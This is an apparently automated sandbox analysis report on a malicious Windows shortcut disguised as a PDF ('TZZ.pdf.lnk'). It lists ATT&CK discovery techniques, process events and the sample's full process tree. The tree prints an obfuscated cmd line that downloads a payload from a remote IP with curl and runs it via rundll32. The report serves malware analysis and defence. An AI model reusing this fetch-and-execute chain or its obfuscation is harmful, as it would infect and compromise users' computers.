2ae853f0b83d3dffeaf192cb3e64209ad52bbfd5f0c41f85f1e1cea7217e3dc4

Resubmissions

07/05/2024, 12:38

240507-pvdkrsga4z 10

16/10/2023, 16:11

231016-tmwtlaab41 7

Analysis

max time kernel
136s
max time network
104s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
submitted
07/05/2024, 12:38

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General

Target

Birdman/TZZ.pdf.lnk

Score

7^/10

discovery

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3612	PING.EXE
2948	PING.EXE

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
3612	PING.EXE
2948	PING.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 4344	4904	cmd.exe	85
PID 4904 wrote to memory of 4344	4904	cmd.exe	85
PID 4344 wrote to memory of 3612	4344	cmd.exe	86
PID 4344 wrote to memory of 3612	4344	cmd.exe	86
PID 4344 wrote to memory of 4088	4344	cmd.exe	91
PID 4344 wrote to memory of 4088	4344	cmd.exe	91
PID 4344 wrote to memory of 2948	4344	cmd.exe	99
PID 4344 wrote to memory of 2948	4344	cmd.exe	99
PID 4344 wrote to memory of 3736	4344	cmd.exe	100
PID 4344 wrote to memory of 3736	4344	cmd.exe	100

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Birdman\TZZ.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c UL || EChO UL & p"iN"G UL || C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log & p"iN"G -n 3 UL || RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var & E"Xi"T 'qsCViPhzqU
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4344
- - C:\Windows\system32\PING.EXE
    p"iN"G UL
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3612
- - C:\Windows\system32\curl.exe
    C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log
    3⤵
    PID:4088
- - C:\Windows\system32\PING.EXE
    p"iN"G -n 3 UL
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2948
- - C:\Windows\system32\rundll32.exe
    RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var
    3⤵
    PID:3736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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